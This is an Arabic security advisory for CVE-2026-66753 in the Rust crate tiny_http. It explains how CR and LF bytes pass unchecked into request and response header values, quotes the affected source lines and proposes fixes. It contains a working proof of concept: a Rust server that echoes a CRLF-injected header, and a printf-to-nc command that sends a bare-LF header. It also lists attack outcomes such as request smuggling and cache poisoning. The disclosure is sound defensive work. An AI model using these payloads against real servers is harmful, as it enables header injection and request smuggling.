
نشرة أمنية: حقن ترويسات HTTP عبر CR وLF غير مُتحقَّق منها في قيم الترويسات (tiny_http)
معرّف CVE المُسند: CVE-2026-66753
لا يرفض tiny_http حرف إرجاع العربة (carriage return) أو تغذية السطر (line feed) داخل قيم ترويسات HTTP، في أيٍّ من الاتجاهين.
في جانب الطلب، لا يُنهي read_next_line سطر الترويسة إلا عند وجود CRLF، لذا يبقى LF منفرد داخل القيمة المُحلَّلة ويصل إلى التطبيق. وفي جانب الاستجابة، لا يتحقق Header::from_bytes إلا من أن البايتات هي ASCII، ويكتب كاتب الاستجابة القيم كما هي دون تغيير، لذا فإن القيمة التي تحتوي CRLF تقسّم الاستجابة.
التطبيقات التي تعكس قيمة ترويسة طلب في ترويسة استجابة، أو التي تعيد تسلسل ترويسات الطلب إلى اتصال آخر، ترث بالتالي أولية حقن (injection primitive) دون أي مؤشر على وجود خطأ.
رابط المستودع: https://github.com/tiny-http/tiny-http
| المتأثر | جميع الإصدارات المنشورة حتى 0.12.0 (2022-10-06) ضمناً، وهو الإصدار الحالي |
| تم التحقق منه | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| تم الإصلاح في | لا يوجد إصدار مُصلَح وقت كتابة هذا التقرير |
يختلف هذا عن RUSTSEC-2020-0031 / CVE-2020-35884، الذي غطّى تحليل Transfer-Encoding وتم إصلاحه في 0.6.3 و 0.8.0. السلوك الموصوف هنا موجود قبل وبعد ذلك الإصلاح.
CWE-113 (تحييد غير سليم لتسلسلات CRLF في ترويسات HTTP)، وهي حالة خاصة من CWE-93 (حقن CRLF).
درجة CVSS 4.0 الأساسية 6.3 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
عميل بعيد غير مُصادَق يرسل HTTP خام إلى أي خادم tiny_http. لا توجد بيانات اعتماد أو تفاعل من المستخدم.
شكلان من أشكال الاستهلاك يحوّلان هذا إلى ثغرة:
التطبيقات التي تنسخ قيمة ترويسة طلب إلى ترويسة استجابة. هذا هو نمط الانعكاس الكامن وراء صدى أصل CORS (CORS origin echo)، وترويسات Location المبنية من بيانات الطلب، ومعالجة ملفات تعريف الارتباط (cookies). يصل LF منفرد في قيمة الطلب إلى الاستجابة، وإذا كان التطبيق يبني قيمة الاستجابة بنفسه فيمكن أن تحمل CRLF كاملة.
التطبيقات التي تعيد تسلسل ترويسات الطلب إلى اتصال آخر، مثل وكيل عكسي (reverse proxy). يُكتب LF المنفرد في الطلب المُوجَّه إلى المنبع (upstream)، والخوادم الخلفية التي تتعامل مع LF المجرّد كفاصل لسطر الترويسة تقرأ طلباً واحداً على أنه طلبان. تسمح RFC 9112، القسم 2.2، للمستقبِلات بذلك، لذا فإن تلك الخوادم الخلفية ضمن المواصفة. تم قياس كل من Go net/http و Python http.server وتبيّن أن كليهما يقبله.
tiny_http-0.12.0/src/client.rs، الأسطر من 80 إلى 102. لا يُرجَع من الحلقة إلا عندما يسبق حرف CR حرف LF. أي بايت آخر، بما في ذلك LF منفرد أو CR منفرد، يُدفع إلى مخزن السطر المؤقت (line buffer) في السطر 100:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF هو 0x0A و CR هو 0x0D، وكلاهما ASCII صالح، لذا فإن AsciiString::from_ascii في السطر 94 يقبلهما.
في tiny_http-0.12.0/src/common.rs، الأسطر من 184 إلى 191، يقتصر الأمر بعد ذلك على قصّ (trim) القيمة. يزيل trim المسافات البيضاء من البداية والنهاية لكنه يترك البايتات الداخلية كما هي:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
لا يمكن لزوج CRLF أن يبقى، لأنه ينهي السطر، لكن يمكن لـ LF منفرد أو CR منفرد أو متواليات مثل \n\r أن تبقى جميعها.
في tiny_http-0.12.0/src/common.rs، الأسطر من 166 إلى 172، لا يتحقق إلا من ASCII:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
في tiny_http-0.12.0/src/response.rs، الأسطر من 99 إلى 104، يكتب القيمة دون أي تهريب (escaping):
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
لاحظ أن HeaderField::from_str في السطر 226 يرفض بالفعل المسافات البيضاء في اسم الحقل، لكن HeaderField::from_bytes في السطر 171 لا يفعل ذلك، لذا فإن أسماء ترويسات الاستجابة غير مُتحقق منها أيضاً.
الخطوة 1. شغّل خادماً يطبع قيمة ترويسة طلب مُحلَّلة ويعيد صدى قيمة تحتوي CRLF في ترويسة استجابة.
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
الخطوة 2. أرسل طلباً تحتوي قيمة X-Test فيه على LF مجرّد. في الأمر أدناه، \n هو تغذية سطر واحدة و \r\n هو CRLF. هذا التمييز هو جوهر الاختبار، فلا تدع محرر نصوص يطبّعه.
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
النتيجة على stdout. لا يزال LF داخل القيمة المُحلَّلة:
parsed X-Test value = "aaa\nbbb"
النتيجة على الشبكة. انقسمت ترويسة الاستجابة إلى اثنتين:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
بحد ذاته، لا يعيد tiny_http إصدار ترويسات الطلب، لذا فإن سلوك جانب الطلب هو أولية كامنة (latent primitive) وليس اختراقاً مباشراً. يصبح قابلاً للاستغلال في أي مستهلك يعيد توجيه قيم الترويسات أو يعكسها، حيث ينتج عنه تهريب طلبات (request smuggling) ضد الخوادم الخلفية المتسامحة مع LF، أو حقن ترويسات في الاستجابة.
سلوك جانب الاستجابة قابل للاستغلال مباشرة في أي تطبيق يضع نصاً متأثراً بالمهاجم في قيمة ترويسة: حقن نصوص برمجية (script injection) في سياق الأصل (origin)، تسميم ذاكرة التخزين المؤقت (cache poisoning)، تثبيت الجلسة (session fixation) عبر Set-Cookie مُحقَنة، وتجاوز ترويسات الأمان.
للمقارنة، يرفض crate http الأحرف CR و LF في HeaderValue::from_str، ولهذا السبب فإن الحزم المبنية عليه لا تُظهر أيّاً من السلوكين.
ارفض أحرف التحكم عند كلا الحدّين.
في read_next_line (src/client.rs السطر 80)، تعامل مع CR المجرّد أو LF المجرّد في سطر الترويسة كخطأ بروتوكولي وأرجِع 400، بدلاً من ضمّه إلى القيمة. أو بدلاً من ذلك، ارفضها في Header::from_str (src/common.rs السطر 184) بعد عملية التقسيم.
في Header::from_bytes (src/common.rs السطر 166)، ارفض القيم التي تحتوي على 0x0D أو 0x0A أو 0x00، وارفض أسماء الحقول التي تحتوي على أي شيء خارج مجموعة token الخاصة بـ RFC 9110. إرجاع Err هناك مُعالَج بالفعل من قِبل المتصلين، لأن التوقيع قابل للفشل (fallible).